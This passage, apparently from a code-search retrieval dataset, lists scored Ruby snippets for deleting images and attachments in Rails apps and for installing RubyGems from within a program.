"78a4e7e490389913b71c1bdadb9630fc", "score": "0.6753003", "text": "def deletePDF\n\t\t\n\t\trequire 'fileutils'\n\n\t\tFileUtils.rm_rf('./storage/PDFs/docraptor-ruby.pdf')\n\n\tend", "title": "" }, { "docid": "2e118c8ed0a3c954a875eb36ed15f7f7", "score": "0.6739915", "text": "def destroy\n @raw_image.destroy\n redirect_to admin_raw_images_path\n end", "title": "" }, { "docid": "4ad59d085ee09ce9b4ca5aea17d49fa5", "score": "0.67399085", "text": "def remove_uploaded_file\n remove_image!\n end", "title": "" }, { "docid": "cbc44cf7a12007a11625fa34e3c0689b", "score": "0.67377555", "text": "def unload_image(image_handle)\n end", "title": "" }, { "docid": "b00d0dd6d0e86adf90a31e95b171599c", "score": "0.67006165", "text": "def destroy\n current_attachment && CurveHandler::DetachService.call(current_attachment)\n head :no_content\n end", "title": "" }, { "docid": "4e5774c485076b228195997f0f0a03a3", "score": "0.6689785", "text": "def remove_image\n \t@person = Person.find(params[:id])\n \[email protected] = nil\n \[email protected]!\n \tredirect_to @person\n end", "title": "" }, { "docid": "bd2330c3b1fd744b517ad9f27eb17db0", "score": "0.6675423", "text": "def purge_image\n image.purge_later\n end", "title": "" }, { "docid": "b1220b208d87a6c69e6c3a4eb014cbf7", "score": "0.6674366", "text": "def destroy\n @attachment.detach\n head :no_content\n end", "title": "" }, { "docid": "071834d865f9a44be63a1d1d5a79e280", "score": "0.6650603", "text": "def destroy_image\n unless self.image_id.blank?\n unless (image = HopeUpdateImage.find(self.image_id)) && image.destroy\n logger.error \"#destroy <HopeUpdateImage># id:#{self.image_id} failure\"\n end\n end\n end", "title": "" }, { "docid": "58d720ba285fd2d05cc74e79c79c51c4", "score": "0.6649117", "text": "def remove_image\n image_path = Rails.root.join('app/assets/images', image)\n if File.exist?(image_path)\n Rails.logger.info 'Image deleted'\n File.delete(image_path)\n end\n end", "title": "" }, { "docid": "7778ace58745ef6f3e04218bc482d1b0", "score": "0.6633176", "text": "def remove_attachment\n @user.assegnazione.purge if @user.assegnazione.attached?\n render :show\n end", "title": "" }, { "docid": "ff4d7247bfbd1d6c63db58ed849b3b41", "score": "0.6626755", "text": "def remove_imagekit_file\n service.class.delete_ik_file(self)\n end", "title": "" }, { "docid": "c5dafb7f3baad6c386fac9680787fed2", "score": "0.662073", "text": "def destroy\n @picture.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "a3350a79dbe4ee339043480f821fd5b7", "score": "0.65816116", "text": "def destroy\n @student_image.destroy\n end", "title": "" }, { "docid": "4df57c1bf4fdad4a8439451f0ea83030", "score": "0.65501326", "text": "def destroy\n\t\t@img = ReportImage.find(params[:id])\n\t\[email protected]\n\n\t\trender :json => @img\n\tend", "title": "" }, { "docid": "482bf80dbb9324958e0fa95c4c2c73ca", "score": "0.6509395", "text": "def destroy\n @image = Image.find(params[:id])\n \n imagen = @image.filename\n \n #function in manage_images.rb\n remove_image_file(imagen)\n \n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2fc3eeb1200020528f33bf847933cf1b", "score": "0.64884925", "text": "def delete_image\n @page.first('span[data-vh-id=\"remove\"]').click\n end", "title": "" }, { "docid": "d6695969d7b401df70754a77c2947bba", "score": "0.64784604", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n redirect_to console_images_path\n end", "title": "" }, { "docid": "930af0d70273616692f75e26dd0bef24", "score": "0.6468947", "text": "def destroy\n @uploaded_document.destroy\n end", "title": "" }, { "docid": "9a01c92ecd06a4eb679dc5ca3aa9ece5", "score": "0.64658904", "text": "def destroy\n @page_image.destroy\n respond_to do |format|\n format.html { redirect_to page_images_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3e8fd6cda007fc23bbf554e0b92ad3dd", "score": "0.64600074", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "4e6764926c1fa112a38ab585ad6ceb43", "score": "0.6459427", "text": "def delete_image\n\t\t@delete_image ||= \"0\"\n\tend", "title": "" }, { "docid": "b9a1d31c0b5106b680d4053db6411029", "score": "0.6449977", "text": "def destroy\n @attachment.file.purge\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: 'Attachment was successfully destroyed.' }\n end\n end", "title": "" }, { "docid": "62bfc072cc6d30a90fce9103f986223c", "score": "0.64353496", "text": "def destroy_image(image_id)\n destroy_resource :image, image_id\n end", "title": "" }, { "docid": "62bfc072cc6d30a90fce9103f986223c", "score": "0.64353496", "text": "def destroy_image(image_id)\n destroy_resource :image, image_id\n end", "title": "" }, { "docid": "a20ad6c953442d9f0ac9a5dced36dcd0", "score": "0.6430138", "text": "def destroy\n @markdown_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_markdown_images_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "926bbfe8a8ec566d5c28e54c1d047eb5", "score": "0.64205503", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n\n redirect_to new_flat_image_path(@image.flat)\n\n end", "title": "" }, { "docid": "a761305d9e49a07ad085081edd7b1c5f", "score": "0.6417463", "text": "def destroy\n @design_image_attachment.destroy\n respond_to do |format|\n format.html { redirect_to design_image_attachments_url, notice: 'Design image attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bb68b8f092595d9e1d062ef04ac6d3bb", "score": "0.64106375", "text": "def delete_associated_image(parameters)\n eachImageField(parameters) do |image, fieldName|\n if image.present? and image[:assets].blank? and image[:id].blank?\n image_var = send(fieldName)\n image_var.destroy if image_var\n end\n end\n end", "title": "" }, { "docid": "1b08ce62c42d00570f56a11b3a418583", "score": "0.64040947", "text": "def destroy\n @photo.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "980660e9218a9aa7b91eb7103586739e", "score": "0.6403899", "text": "def destroy_image(key)\n return unless key.is_a?(String) && !key.empty?\n name, ext = key.split('.')\n self.transaction do\n record = find_by_name name\n # do nothing if not found\n return unless record\n if record.refcount > 1\n record.refcount -= 1\n record.save\n else\n if record.keep_till && record.keep_till > Time.now\n record.refcount = 0\n record.save\n else\n record.purge_image_data\n record.delete\n end\n end\n end\n cleanup_temporary_image\n end", "title": "" }, { "docid": "fba5e3daa12203a7a9f86740b8cadbe2", "score": "0.640168", "text": "def before_destroy\n path = c_dir+\"#{self.code}.jpg\"\n FileUtils.rm path if File.exist? path\n end", "title": "" }, { "docid": "371825193a864d92b04b535e6f7e0f75", "score": "0.63819635", "text": "def destroy\n if @article.img_path != ''\n File.delete('app/assets/images/' + @article.img_path) if File.exist?('app/assets/images/' + @article.img_path)\n end\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n\n\n end", "title": "" }, { "docid": "e32004503744c97882dd4864a1265c06", "score": "0.63815314", "text": "def remove_pdf\n begin\n File.delete \"public/pdfs/legal_briefs/\" + self.id.to_s + \".pdf\" \n rescue Errno::ENOENT\n # if file is not there, just ignore\n end\n end", "title": "" }, { "docid": "e870e3ac058cfd59996b91ad6bb513d2", "score": "0.6378991", "text": "def destroy\n\t\timage = Image.find(params[:id])\n\t\timage.destroy\n\t\tredirect_to :back\n\tend", "title": "" }, { "docid": "e6a9c06dce2d13b657391f32bafb0ea1", "score": "0.6362815", "text": "def destroy_avatar\n self.avatar.purge if self.avatar.attached?\n end", "title": "" }, { "docid": "259f5f41343bea7cf3bc1807ba89663e", "score": "0.63531774", "text": "def undelete_image!(albid, imgid)\n img = image(albid, imgid)\n source, target = _(img[:path]), _(albid, imgid)\n FileUtils.mv(source, target) if img[:deleted]\n img[:deleted]\n end", "title": "" }, { "docid": "70fea4e12ae6f3c73af7504c26d3f5c7", "score": "0.63402385", "text": "def destroy\n file_url = @image.url\n @image.destroy\n\n File.delete(\"public/uploads/#{file_url}\")\n\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "766fd6e6a740fef0786910b9e7186ac0", "score": "0.63239026", "text": "def destroy\n puts \"------------------------\"\n document_item = ActiveStorage::Attachment.find(@document.doc.id)\n p document_item.purge\n puts \"------------------------\"\n\n @document.destroy\n respond_to do |format|\n\n\n\n\n format.html { redirect_to property_property_unit_documents_path(@property, @property_unit), notice: 'Dokumentet ble slettet.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6d201217ae5ca807fabfdd0c0035c398", "score": "0.62929106", "text": "def delete_image!(albid, imgid) \n img = image(albid, imgid)\n source, target = _(img[:path]), _(albid, 'trash', imgid)\n FileUtils.mv(source, target) unless img[:deleted]\n !img[:deleted]\n end", "title": "" }, { "docid": "eb51bfb6b2a6c74adf5bf75679bca1fa", "score": "0.6278912", "text": "def delete_session_image\n begin\n file_name = params[:delete_file]\n if file_name && (file = all_uploaded_files_on_session.detect{|f| f[:filename].rindex(file_name)})\n delete_session_file(file)\n end\n render :text=> \"success\"\n rescue => e\n logger.error e\n render :text=> \"error\"\n end\n end", "title": "" }, { "docid": "152fd86dae085fb0322132f5a53347b0", "score": "0.6277795", "text": "def destroy\n @context_image.save_by current_user\n @context_image.mark_deleted\n DeletePublishableJob.perform_later @context_image, current_user\n respond_to do |format|\n format.js\n format.html { redirect_to @book, notice: 'Context image was deleted.' }\n end\n end", "title": "" }, { "docid": "c5d8bc18ad6f955061ac544fa3256256", "score": "0.62773424", "text": "def destroy\r\n image = @adoption_image\r\n @adoption_image.destroy\r\n respond_to do |format|\r\n format.html { redirect_to image.adoption, notice: 'A imagem foi removida com sucesso.' }\r\n end\r\n end", "title": "" }, { "docid": "f51cdc5faf97554f543ce13416dce46f", "score": "0.6275882", "text": "def destroy\n @image.destroy\n redirect_to images_url, notice: 'Image was successfully destroyed.'\n end", "title": "" }, { "docid": "db8cc3fdbf7ddf7d1646c8d4358923bb", "score": "0.62660944", "text": "def destroy\n File.delete(self.artifact)\n end", "title": "" }, { "docid": "efc8610667b3081d011eda23caa82992", "score": "0.6263777", "text": "def before_destroy\n\t\tresult, message = self.delete_image\n\n\t\tif result != true\n\t\t\traise message\n\t\tend\n\n\t\treturn result\n\tend", "title": "" }, { "docid": "827c0f07aa985808077ef7b804db907d", "score": "0.62358916", "text": "def destroy\n @pdf_attachment.destroy\n respond_to do |format|\n format.html { redirect_to pdf_attachments_url, notice: 'File was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c7990d00e624b0ae2e46a3c88e7752f5", "score": "0.6235452", "text": "def delete_image(image_id)\n delete(\"cloud-instances/#{guid}/images/#{image_id}\")\n end", "title": "" }, { "docid": "d2e9b6c4cfd6f47f171af8cc30e355b4", "score": "0.623381", "text": "def delete_image=(value)\n self.image = nil if (!value.to_i.zero?)\n end", "title": "" }, { "docid": "d2e9b6c4cfd6f47f171af8cc30e355b4", "score": "0.623381", "text": "def delete_image=(value)\n self.image = nil if (!value.to_i.zero?)\n end", "title": "" }, { "docid": "d2e9b6c4cfd6f47f171af8cc30e355b4", "score": "0.623381", "text": "def delete_image=(value)\n self.image = nil if (!value.to_i.zero?)\n end", "title": "" }, { "docid": "d2e9b6c4cfd6f47f171af8cc30e355b4", "score": "0.623381", "text": "def delete_image=(value)\n self.image = nil if (!value.to_i.zero?)\n end", "title": "" }, { "docid": "7ce9f3ffefc4e10ca2dc8e4858306ac3", "score": "0.6232642", "text": "def destroy\n @image_to_part.destroy\n respond_to do |format|\n format.html { redirect_to image_to_parts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d019299b49e6ea0fc40ad69b756cca58", "score": "0.6225433", "text": "def before_destroy\n \n begin\n del_html = \"#{SHIP_LABELS_STORE}/#{File.basename(self.label)}\"\n del_graphic = \"#{SHIP_LABELS_STORE}/label#{File.basename(self.label).gsub(\".html\", \".gif\")}\"\n FileUtils.rm del_html, :force => true\n FileUtils.rm del_graphic, :force => true\n rescue\n return true\n end\n\n end", "title": "" }, { "docid": "108824dd30d604cbc797abc03f90512a", "score": "0.62238646", "text": "def delete\n if File.exist?(@preview_file)\n File.delete(@preview_file)\n end\n end", "title": "" }, { "docid": "88fa8f4e01fe0ed06423dc992976badd", "score": "0.62204957", "text": "def destroy\n @import_avatar.destroy\n end", "title": "" }, { "docid": "5d30cf8c53d48f8352ddde12e985ac6e", "score": "0.6218014", "text": "def destroy\n @image_reference.destroy\n respond_to do |format|\n format.html { redirect_to image_references_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c077e1f1495b04d676a56c58c3436f7", "score": "0.6217196", "text": "def maybe_remove(asset)\n # don't need it if we already don't have hocr or textonly_pdf\n return if !asset.hocr && !asset.file_derivatives[:textonly_pdf]\n\n asset.hocr = nil\n # this kithe command will save record to, persisting the hocr=nil,\n # atomically concurrently safely making the change.\n asset.remove_derivatives(:textonly_pdf, allow_other_changes: true)\n end", "title": "" }, { "docid": "1c4d51a9536ed2034c9b58e44cb6cc74", "score": "0.6215974", "text": "def purge\n if attached?\n attachment.purge\n write_attachment nil\n end\n end", "title": "" }, { "docid": "5c98b8874f809021305749d95d733b4e", "score": "0.6198418", "text": "def destroy\n @thumb.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "57fdabd700b1582639e07417b12ce945", "score": "0.61947596", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c3d23d854de7259cc1f0f210a9185d7e", "score": "0.61926246", "text": "def destroy\n @image.destroy\n redirect_to images_url, notice: 'Image记录删除成功'\n end", "title": "" }, { "docid": "e3119fd03478e4c8305d2fdf728da38f", "score": "0.6183484", "text": "def remove_image #function for attr_writer\n @remove_image || false\n end", "title": "" }, { "docid": "c1bab43e536d69484675610601ce56c6", "score": "0.6182723", "text": "def delete\n @file = nil\n # file.delete\n end", "title": "" }, { "docid": "d7ed1e8a3731eb74b61bb8070f8326ca", "score": "0.61780316", "text": "def destroy\n @cp_image.destroy\n respond_to do |format|\n format.html { redirect_to cp_images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c88ba6e6951719bedd032d348cf66e17", "score": "0.617333", "text": "def destroy\n @setup_image.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c19475d8c14d00c3defb2ccb2975000", "score": "0.6171856", "text": "def delete_pic\n self.posts.each do |post|\n post.pic.destroy\n end\n end", "title": "" }, { "docid": "b81775753ed9b283a0de03a911124cdc", "score": "0.61673576", "text": "def destroy\n @article = Article.get(params[:id])\n \n # 업로드된 이미지 파일 삭제 =========================================================================\n file_name = @article.image_filename\n if File.exist?(IMAGE_PATH + file_name)\n \tFile.delete(IMAGE_PATH + file_name) #original image file\n \tFile.delete(IMAGE_PATH + \"t_\" + file_name) #thumbnail file\n end\n # 업로드된 이미지 파일 삭제 =========================================================================\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6b2191ad7992379a0684a939dea529f9", "score": "0.61670166", "text": "def destroy!\r\n self.class.service_instance.delete_blob(path)\r\n end", "title": "" }, { "docid": "453e61f5babf51cae6ba37e5fc1fb826", "score": "0.61650604", "text": "def destroy\n @article.images.purge if @article.images.attached?\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: '記事を削除しました。' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "114d55bfc17016ed74ee3f1d77b876dc", "score": "0.6159525", "text": "def destroy\n @uploaded_image = UpdatedImage.find(params[:id])\n @uploaded_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(template_files_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ae1e628625d1e338e492540f0b035e17", "score": "0.6158209", "text": "def destroy\n output = \"oneimage delete #{resource[:name]} \", self.class.login\n `#{output}`\n end", "title": "" }, { "docid": "49f648afff96d6c9d98123be6ed0d542", "score": "0.61550343", "text": "def destroy\n @crop.destroy\n end", "title": "" }, { "docid": "112133da7babf3e6c91280abc7e38f9d", "score": "0.61526453", "text": "def destroy\n file&.delete\n end", "title": "" }, { "docid": "23c38adadaf7e9506e8b1a4429f42f18", "score": "0.61488175", "text": "def destroy\n @article.remove_thumbnail = true\n @article.save!\n head :no_content\n end", "title": "" }, { "docid": "846bdf1f70776ba4eecee87729cc257e", "score": "0.61475784", "text": "def removeImage\n @groof = Greenroof.find(params[:id])\n if not (@groof.images.first.nil?)\n\n\n directory = \"/public/greenroofs/photos/\" + params[:id]\n photoFilename = @groof.images.first.photo\n thumbFilename = @groof.images.first.thumb\n photoPath = Dir.pwd + directory + \"/\" + photoFilename\n thumbPath = Dir.pwd + directory + \"/\" + thumbFilename\n File.delete(photoPath)\n File.delete(thumbPath)\n @groof.images.first.delete\n end\n redirect_to greenroof_path(@groof)\n end", "title": "" }, { "docid": "42938eb7fd48a25475a9ffb3aa78c32b", "score": "0.61369467", "text": "def destroy\n authorize Bug\n if @bug.screenshot.attached?\n @bug.screenshot.purge_later\n end \n redirect_to(request.referrer) if @bug.destroy\n end", "title": "" }, { "docid": "c67e9be583588e7cba02427d81a65691", "score": "0.6136211", "text": "def destroy\n @image.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "deb03d8cdf150ee5291012bf96a49b4c", "score": "0.6134507", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n flash[:info] = \"图片已被删除\"\n redirect_back()\n end", "title": "" }, { "docid": "8f77c688f0120901830da32900bac575", "score": "0.610153", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n \n respond_to do |format|\n format.js\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "81c368f152221a426113ed742ea5909a", "score": "0.6099091", "text": "def delete_extract\n file_path = File.join(Rails.public_path, self.zip_url)\n preview_path = File.join(File.dirname(file_path), \"preview.png\")\n FileUtils.rm(preview_path) unless !File.exist?(preview_path)\n end", "title": "" }, { "docid": "41c506eae11e106bbe6d92929e56c0dc", "score": "0.6096369", "text": "def destroy\n @paper.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "4f7ffc7cf920ca091ed4dccdd0fb8a85", "score": "0.6094403", "text": "def remove_photo_from_filesystem\n member_photo = nil\n end", "title": "" }, { "docid": "26eca8d3c3bc4ade15e8921864a4a2ff", "score": "0.6090845", "text": "def destroy\n @trainer.destroy\n respond_to do |format|\n format.html { redirect_to trainers_url, notice: 'Trainer was successfully destroyed.' }\n format.json { head :no_content }\n end\n FileUtils.rm('public/uploads/trainer/logo_crop.png') if File.exist?('public/uploads/trainer/logo_crop.png')\n end", "title": "" }, { "docid": "ae0c154fa76fbfb6725d1de99a535682", "score": "0.60885525", "text": "def remove_logo_confirmed\n @empresa.remove_logo!\n @empresa.save!\n end", "title": "" } ]
f97bf132f68718c3cd1df11e5e62e454
def try_to_install_gem(name, repository=nil, version = '>0') ret = false require 'rubygems/command.rb' require 'rubygems/dependency_installer.rb' inst.install name, version TODO WIZARD TODO accept repository, too end
[ { "docid": "5b9f19b0d286bbccad69c480a718c928", "score": "0.8581696", "text": "def try_to_install_gem(name, repository=nil, version = '>0')\n ret = false\n \n sh=ArcadiaSh.new\n cmd = \"gem install #{name}\"\n cmd=\"sudo #{cmd}\" if !is_windows?\n cmd+=\" --source=#{repository}\" if repository\n sh.prepare_exec(cmd) \n while sh.wait\n Tk.update\n #sleep(1)\n end\n ret=sh.result\n sh.destroy\n Gem.clear_paths\n ret\n end", "title": "" } ]
[ { "docid": "5fac58ce7f5552fd276db4b41e00181d", "score": "0.76482093", "text": "def install_gem name, version = nil\n gem_cmd = Gem.default_exec_format % 'gem'\n sudo = 'sudo ' unless Hoe::WINDOZE\n local = '--local' unless version\n version = \"--version '#{version}'\" if version\n sh \"#{sudo}#{gem_cmd} install #{local} #{name} #{version}\"\n end", "title": "" }, { "docid": "5fac58ce7f5552fd276db4b41e00181d", "score": "0.76482093", "text": "def install_gem name, version = nil\n gem_cmd = Gem.default_exec_format % 'gem'\n sudo = 'sudo ' unless Hoe::WINDOZE\n local = '--local' unless version\n version = \"--version '#{version}'\" if version\n sh \"#{sudo}#{gem_cmd} install #{local} #{name} #{version}\"\n end", "title": "" }, { "docid": "1d101e8d368c79ec000996546dc0d1c1", "score": "0.7636605", "text": "def install gem_name, version=nil\n args = ['--no-ri', '--no-rdoc', gem_name]\n args += ['--version', version] if version\n cmd = Gem::Commands::InstallCommand.new\n cmd.handle_options args\n cmd.execute\n rescue Gem::SystemExitException => e\n # Not sure why the install command raises SystemExitException in successful cases, but it does.\n # So we just check for a success exit code 0.\n raise unless e.exit_code == 0\n end", "title": "" }, { "docid": "75f0acbd1f5698eded8e72e22f74db3e", "score": "0.7605204", "text": "def install gem_name, version = :latest, source_url = :default\n ::Emissary::GemHelper.new(gem_name).install(version, source_url)\n end", "title": "" }, { "docid": "267b3f84e4f34d484308ab3970916c92", "score": "0.75127304", "text": "def install!\n version = nil\n if requirements.count > 1\n begin\n require 'rubygems/dependency_installer'\n inst = Gem::DependencyInstaller.new\n spec, _ = inst.find_spec_by_name_and_version(name, *requirements).first\n version = spec.version\n rescue\n end\n end\n version ||= requirements.last\n command = \"gem install --no-ri --no-rdoc #{ name } -v '#{ version }'\"\n puts \"\\nLaunching `#{ command }`\"\n exec command\n end", "title": "" }, { "docid": "4e827d4017389452a171def82006fdcd", "score": "0.744766", "text": "def gem_install(name, version = nil)\n version_name = [name, version].compact.join('-')\n version_file = \"#{ENV['GEM_HOME']}/versions/#{version_name}\"\n return if File.exist?(version_file)\n warn \"installing #{version_name} to #{ENV['GEM_HOME']}\"\n command = \"gem install --no-rdoc --no-ri #{name}\"\n command += \" -v '~> #{version}'\" if version\n command += \" >/dev/null\"\n sh command\n mkdir_p File.dirname(version_file)\n File.open(version_file, 'wb') { }\nend", "title": "" }, { "docid": "d9173ae351ecbc5809d0ff9536ced0d1", "score": "0.73724824", "text": "def install_package(name, version)\n if source_is_remote? && new_resource.gem_binary.nil?\n if new_resource.options.nil?\n @gem_env.install(gem_dependency, sources: gem_sources)\n elsif new_resource.options.is_a?(Hash)\n options = new_resource.options\n options[:sources] = gem_sources\n @gem_env.install(gem_dependency, options)\n else\n install_via_gem_command(name, version)\n end\n elsif new_resource.gem_binary.nil?\n @gem_env.install(new_resource.source)\n else\n install_via_gem_command(name, version)\n end\n true\n end", "title": "" }, { "docid": "94d472dcc873b66f58403938a637ec7f", "score": "0.72654873", "text": "def cookbook_gem_installing(gem, version); end", "title": "" }, { "docid": "876af0200275e963b0efc14611a48afc", "score": "0.7261464", "text": "def load_gem(name, version=nil)\n# needed if your ruby version is less than 1.9\n# require 'rubygems'\n\n begin\n gem name, version\n rescue LoadError\n version = \"--version '#{version}'\" unless version.nil?\n system(\"gem install #{name} #{version}\")\n Gem.clear_paths\n retry\n end\n require name\nend", "title": "" }, { "docid": "959e74a86cdba443ae88bdf53b58d174", "score": "0.7253157", "text": "def install(name, params = {})\n \n @output.puts \"Installing gem '#{name}'\".yellow\n if name != nil\n\n with_working_dir(\"#{@exe} install #{name}\") do |cmd|\n assess_status(OS::ExecCommand.call(cmd) do |mod, spec|\n @output.puts spec[:output].strip\n end)\n end\n else\n @errOut.puts \"Name is needed for gem install operation\"\n end \n end", "title": "" }, { "docid": "2c8a224dee4bf4756f27c10ca864b306", "score": "0.71697706", "text": "def install_gem(gem_name)\n if gem_name.match(/getopt/)\n install_name = \"getopt\"\n else\n install_name = gem_name.gsub(/\\//,\"-\")\n end\n puts \"Information:\\tInstalling #{install_name}\"\n %x[gem install #{install_name}]\n Gem.clear_paths\n require \"#{gem_name}\"\nend", "title": "" }, { "docid": "e254b590fe26cb7b5d01a3b81e9f696a", "score": "0.71563625", "text": "def load_gem(name, version=nil)\n # needed if your ruby version is less than 1.9\n require 'rubygems'\n\n begin\n gem name, version\n rescue LoadError\n version = \"--version '#{version}'\" unless version.nil?\n system(\"gem install #{name} #{version}\")\n Gem.clear_paths\n retry\n end\n\n require name\nend", "title": "" }, { "docid": "e254b590fe26cb7b5d01a3b81e9f696a", "score": "0.71563625", "text": "def load_gem(name, version=nil)\n # needed if your ruby version is less than 1.9\n require 'rubygems'\n\n begin\n gem name, version\n rescue LoadError\n version = \"--version '#{version}'\" unless version.nil?\n system(\"gem install #{name} #{version}\")\n Gem.clear_paths\n retry\n end\n\n require name\nend", "title": "" }, { "docid": "659621d722e9cc462b8ea45bf69604de", "score": "0.71163154", "text": "def install dep_or_name, version = LibGems::Requirement.default\n LibGems.with_rubygems_compat do\n if String === dep_or_name then\n find_spec_by_name_and_version dep_or_name, version, @prerelease\n else\n dep_or_name.prerelease = @prerelease\n @specs_and_sources = [find_gems_with_sources(dep_or_name).last]\n end\n\n @installed_gems = []\n\n gather_dependencies\n\n @gems_to_install.each do |spec|\n last = spec == @gems_to_install.last\n # HACK is this test for full_name acceptable?\n next if @source_index.any? { |n,_| n == spec.full_name } and not last\n\n # TODO: make this sorta_verbose so other users can benefit from it\n say \"Installing bpkg #{spec.full_name}\" if LibGems.configuration.really_verbose\n\n _, source_uri = @specs_and_sources.assoc spec\n begin\n local_gem_path = LibGems::RemoteFetcher.fetcher.download spec, source_uri,\n @cache_dir\n rescue LibGems::RemoteFetcher::FetchError\n next if @force\n raise\n end\n\n inst = LibGems::Installer.new local_gem_path,\n :bin_dir => @bin_dir,\n :development => @development,\n :env_shebang => @env_shebang,\n :force => @force,\n :format_executable => @format_executable,\n :ignore_dependencies => @ignore_dependencies,\n :install_dir => @install_dir,\n :security_policy => @security_policy,\n :source_index => @source_index,\n :user_install => @user_install,\n :wrappers => @wrappers\n\n spec = inst.install\n\n @installed_gems << spec\n end\n\n @installed_gems\n end\n end", "title": "" }, { "docid": "3cae77ffc68d30fabbc7793212ad53b4", "score": "0.70718294", "text": "def ensure_dep(name, version)\n gem name, version\nrescue Gem::LoadError => e\n puts e.message\n system('gem', 'install', name, '-v', version) or\n raise(\"Could not find right version of #{name} (require version #{version})\")\n system($PROGRAM_NAME, *ARGV)\n exit $CHILD_STATUS.exitstatus\nend", "title": "" }, { "docid": "0dda57272df5e606c5c9e38e173da52b", "score": "0.7060639", "text": "def install_rubygem(gem, version = nil)\n Gem.configuration.update_sources = false\n Gem.clear_paths\n installer = Gem::DependencyInstaller.new(:install_dir => freezer_dir)\n exception = nil\n begin\n installer.install gem, version\n rescue Gem::InstallError => e\n exception = e\n rescue Gem::GemNotFoundException => e\n puts \"Locating #{gem} in local gem path cache...\"\n spec = version ? Gem.cache.find_name(gem, \"= #{version}\").first : Gem.cache.find_name(gem).sort_by { |g| g.version }.last\n if spec && File.exists?(gem_file = spec.installation_path / 'cache' / \"#{spec.full_name}.gem\")\n installer.install gem_file\n end\n exception = e\n end\n if installer.installed_gems.empty? && e\n puts \"Failed to install gem '#{gem}' (#{e.message})\"\n end\n installer.installed_gems.each do |spec|\n puts \"Successfully installed #{spec.full_name}\"\n end\n end", "title": "" }, { "docid": "08cb4f154833e33899edb252908686ee", "score": "0.70589066", "text": "def gem(name, *version_requirements)\n dependency = Gem::Dependency.new(name, *version_requirements)\n if Gem.source_index.search(dependency).empty?\n puts \"Installing #{dependency}\"\n installer.install(dependency)\n else\n puts \"#{dependency} is already installed\"\n end\n end", "title": "" }, { "docid": "cabc189904f45875fa767e1ef5a1cc9f", "score": "0.705438", "text": "def install_gem(gem_name, version, target_dir)\n installer = Gem::DependencyInstaller.new(:install_dir => target_dir)\n installer.install(gem_name, version)\nend", "title": "" }, { "docid": "cabc189904f45875fa767e1ef5a1cc9f", "score": "0.705438", "text": "def install_gem(gem_name, version, target_dir)\n installer = Gem::DependencyInstaller.new(:install_dir => target_dir)\n installer.install(gem_name, version)\nend", "title": "" }, { "docid": "7a758c5a2651070b6c4d455e7d1c950f", "score": "0.7049879", "text": "def setup_gem(name, options)\n try_require_gem(name, options)\n rescue Exception\n try_installing_gem(name, options)\n end", "title": "" }, { "docid": "7f7b2fba5716de404192597b23735d01", "score": "0.70251304", "text": "def _install\n _build_gem\n _uninstall\n sh \"gem install --no-rdoc --no-ri --local #{gem_name}-#{version}.gem\"\n end", "title": "" }, { "docid": "46dd0e6bcfb58274b08f15f22a5020d4", "score": "0.6978008", "text": "def gem(name, *version_requirements)\n dependency = Gem::Dependency.new(name, *version_requirements)\n if Gem.source_index.search(dependency).empty?\n puts \"Installing #{dependency}\"\n `gem install #{name} --version \\\"#{version_requirements.first}\\\"`\n else\n puts \"#{dependency} is already installed\"\n end\n end", "title": "" }, { "docid": "386032432e4ce9db011d5894e7bb1dec", "score": "0.69550943", "text": "def install_gem(name, options)\n installer = Gem::DependencyInstaller.new(options)\n\n temp_argv(options[:extconf]) do\n log \"Installing gem #{name}\"\n installer.install(name, options[:version])\n end\n end", "title": "" }, { "docid": "f353af66e56fffb5bc64b1f6022f19fd", "score": "0.6945022", "text": "def gem_install( gem, opts = {} )\n version = Array( opts[ :version ] )\n ver = (version.length == 1) && version[0] =~ /^=?\\s*([0-9]\\S+)/ && $1\n\n unless ( opts[:check] ||\n opts[:minimize] == false ||\n opts[:spec_check] == false ||\n ver.nil? )\n\n prefix = if opts[:user_install]\n jruby_user_gem_dir( opts[:user_install] )\n else\n jruby_gem_home\n end\n\n specs = [ \"#{prefix}/specifications/#{gem}-#{ver}-java.gemspec\",\n \"#{prefix}/specifications/#{gem}-#{ver}.gemspec\" ]\n\n shopts = {}\n case opts[ :user_install ]\n when 